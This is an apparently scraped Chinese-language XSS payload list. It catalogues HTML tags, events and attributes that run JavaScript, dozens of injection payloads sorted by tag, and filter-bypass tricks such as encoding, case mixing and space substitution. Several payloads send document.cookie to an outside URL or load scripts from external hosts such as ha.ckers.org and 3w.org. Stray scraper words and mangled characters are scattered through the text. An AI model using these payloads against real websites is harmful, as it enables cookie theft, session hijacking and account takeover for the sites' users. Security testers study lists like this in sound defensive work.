XSS Payload List

標籤、事件、屬性

xss的攻擊原理就是前端被插入了惡意的js代碼,下面展現大部分能夠執行js的標籤、事件、屬性;javascript

標籤(label)php

<script>  <a>  <p>  <img> 

<body>  <button>  <var>  <div> <style>

<iframe>  <object>  <input>  <select> 

<textarea>  <keygen>  <frameset>  <embed> 

<svg>  <math>  <video>  <audio> 

<link>  <table>

事件(event) --- 事件都是onXxx開頭css

onload  onerror  onunload  onchange  onsubmit

onreset  onselect  onblur  onfocus

onabort  onkeydown  onkeypress  onkeyup 

onclick  ondbclick  onmouseover  onmousemove 

onmouseout  onmouseup  onforminput  onformchange 

ondrag  ondrop

屬性(attribute)html

formaction  action  href 

xlink:href  autofocus  src

content  data expression


HTML代碼注入

script標籤

<script>document.write(String.fromCharCode(在這裏寫上你的代碼));</script>   //過濾了等號、單引號、雙引號、空格的繞過方法

><script>alert(document.cookie)</script>

</script><script>alert(doucument.cookie)</script>

<script firefox>alert(1)</script>  //其實咱們並不須要一個規範的script標籤 

<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script> 
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>//在這裏咱們依然能夠使用那些編碼 
<script>prompt(-[])</script> //不僅是alert。prompt和confirm也能夠彈窗 
<script>alert(/3/)</script> //能夠用"/"來代替單引號和雙引號 
<script>alert(String.fromCharCode(49))</script> //咱們還能夠用char 
<script>alert(/7/.source)</script> // ".source"不會影響alert(7)的執行 
<script>setTimeout('alert(1)',0)</script> //若是輸出是在setTimeout裏,咱們依然能夠直接執行alert(1)


<SCRIPT SRC=//3w.org/XSS/xss.js> //無結束腳本標記
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; //無結束腳本標記(僅火狐等瀏覽器)

a標籤

<a href=java&#97;script:alert(document.cookie)>href</a>
<svg><a xlink:href="javascript:alert(1234)"><rect width="1000" height="1000" fill="white"/></a></svg>

img標籤 + onerror(都是經過event來調用js)

<img src=# onerror="alert(document.cookie)"/>
<img src=x onerror=alert(1)> 
<img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效 
<img src=x onerror=window.open('http://google.com');> 
<img/src/onerror=alert(1)>  //只在chrome下有效 
<img src="x:kcf" onerror="alert(1)">

//IMG嵌入式命令,可執行任意命令
<IMG SRC="http://www.XXX.com/a.php?a=b">

//IMG嵌入式命令(a.jpg在同服務器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

button標籤

應該有一部分人對於button標籤的js調用還停留在經過event事件來實現。像下面的例子.:前端

<button/onclick=alert(1) >M</button>

那麼若是全部的on(event)被過濾了,咱們就沒有辦法了麼?其實html5已經給咱們帶來了新的姿式:html5

<form><button formaction=javascript&colon;alert(1)>M

也許看到這裏就有人會吐槽,這種須要用戶交互的啊! 若是使用onfocus事件,再加上autofocus咱們就能夠達到自動彈窗,無須交互了。java

<button onfocus=alert(1) autofocus>

p標籤 + onmouseover事件(都是經過event來調用js)

<p/onmouseover=javascript:alert(1); >M</p>
<p onmouseover=alert(/insight-labs/)>insight-labs、<frameset onload=alert(/insight-labs/)>、<body onload=alert(/insight-labs/)>

body標籤 + onload(都是經過event來調用js)

<body onload=alert(/insight-labs/)>
<BODY BACKGROUND="javascript:alert(XSS)">
<body onload=alert(1)> 
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

var標籤

<var onmouseover="prompt(1)">KCF</var>

input標籤 + 屬性/事件

<INPUT TYPE="IMAGE" SRC="javascript:alert(XSS);">
<input onfocus=javascript:alert(1) autofocus> 
<input onblur=javascript:alert(1) autofocus><input autofocus>

link標籤

<LINK REL="stylesheet" HREF="javascript:alert(XSS);">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

object標籤

<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(XSS)></OBJECT>

meta協議標籤

META協議
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(XSS);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(XSS);">

frameset標籤

<frameset onload=alert(/insight-labs/)>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<FRAMESET><FRAME src=javascript:alert('XpSS')></FRAME></FRAMESET>

table標籤

<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">

onclick、onmouseout屬性

<L onclick=alert(document.cookie)>click me</L★最琀;彈出1

<span class="qm_ico_print" id="mail_print" title="打印" onclick="window.open('/cgi-bin/readmail?sid=SC_hEOi3h_nqEgJQ&amp');"></span>

<a href="http://www.baidu.com" style="color:#143d70; simsun;" onclick="alert(/a/);this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.baidu.com'); return(false);">asdasdsad</a>

<span onclick="javascript:changeFont(2);">
<SPAN class="xmsw" title=dd onmouseout=window.location='http://www,xfydyt.com'>test</span>
<span class="xmsw" title="dd" onmouseout=window.location='http://test/test.php?c='+document.cookie>test</span>
<SPAN class="xmsw" title=dd onmouseout=javascript:alert(document.cookie)>test</SPAN>


CSS代碼注入 div、style標籤 + expression屬性

<STYLE>
    .testcss{
        color: expreseion(alert(1))
    }
</STYLE>

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<style>body {background-image: url("javascript:alert(123)");}</style>
<STYLE>@importjavasc ipt:alert("XSS");</STYLE>
<STYLE>@importhttp://ha.ckers.org/xss.css;</STYLE>
C<STYLE TYPE="text/javascript">alert(XSS);</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert(XSS)");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert(XSS)")}</STYLE>

<div style="background-image:url(javascript:alert(123))">
<DIV STYLE="background-image: 075 072 06C 028 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029 029">
<DIV STYLE="width: expression(alert(XSS));">


DOM型注入 iframe標籤

iframe標籤這個例子當中值得一提的是,有時候咱們能夠經過實體編碼 &Tab(換行和tab字符)來bypass一些filter。chrome

咱們還能夠經過事先在swf文件中插入咱們的xss code,而後經過src屬性來調用。不過關於flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=「"容許從外部調用swf時,咱們才能夠經過flash來實現xss attack。express

<IFRAME SRC="javascript:alert(1);"></IFRAME> 
<iframe/onload=alert(53)></iframe>

onload執行js瀏覽器

<iframe onload="alert(1)"></iframe>

src執行javascript代碼

<iframe src="javascript:alert(1)"></iframe>

IE下vbscript執行代碼

<iframe src="vbscript:msgbox(1)"></iframe>

Chrome下data協議執行代碼

<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

?url=<iframe
src=JavaScript:(prompt)(document.domain)>a://目標url<a>

<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

Chrome下srcdoc屬性

<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>


JS代碼注入,意味着無需< >

?query%5Border_No%5D=&query%5Bm
obile%5D=%27%2balert`1`%2b%27

?query[order_No]=&query[m
obile]='+alert`1`+'


繞過過濾的方式

白盒

  • 閱讀代碼,查看開發寫的過濾方法是怎麼過濾的,針對性的看有什麼是能夠pass的

黑盒就嘗試下面的方法

  • 轉編碼、進制、混合編碼
&lt;script&nbsp;src=//xss.tw/3058&gt;&lt;/script&gt;
&quot;  引號
&nbsp;  空格
&lt;    <
&gt;    >
  • 大小寫
  • 多層嵌套
  • 嘗試一下其它標籤、屬性、事件


代替空格

<img/src=x onerror=alert(1)>

<M/onclick="alert(1)">M


最短xss 20個字符

<b/ondrag=alert()>M


能夠嘗試的標籤

// US_ASCII編碼(庫爾特發現)。使用7位ascii編碼代替8位,能夠繞過不少過濾。可是必須服務器是以US-ASCII編碼交互的。目前僅發現Apache Tomcat是以該方式交互
?scriptualert(EXSSE)?/scriptu

<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(XSS);">]]>

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(XSS)>

</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>


flash注入 embed標籤

embed標籤能夠嵌入FLASH,其中包涵XSS;

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 
<embed src=javascript:alert(1)> //firefox

<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

.swf

Code: a="get";
b="URL("";
c="javascript:";
d="alert(XSS);")";
eval(a+b+c+d);

參考

https://www.leavesongs.com/PENETRATION/xss-collect.html

相關文章
相關標籤/搜索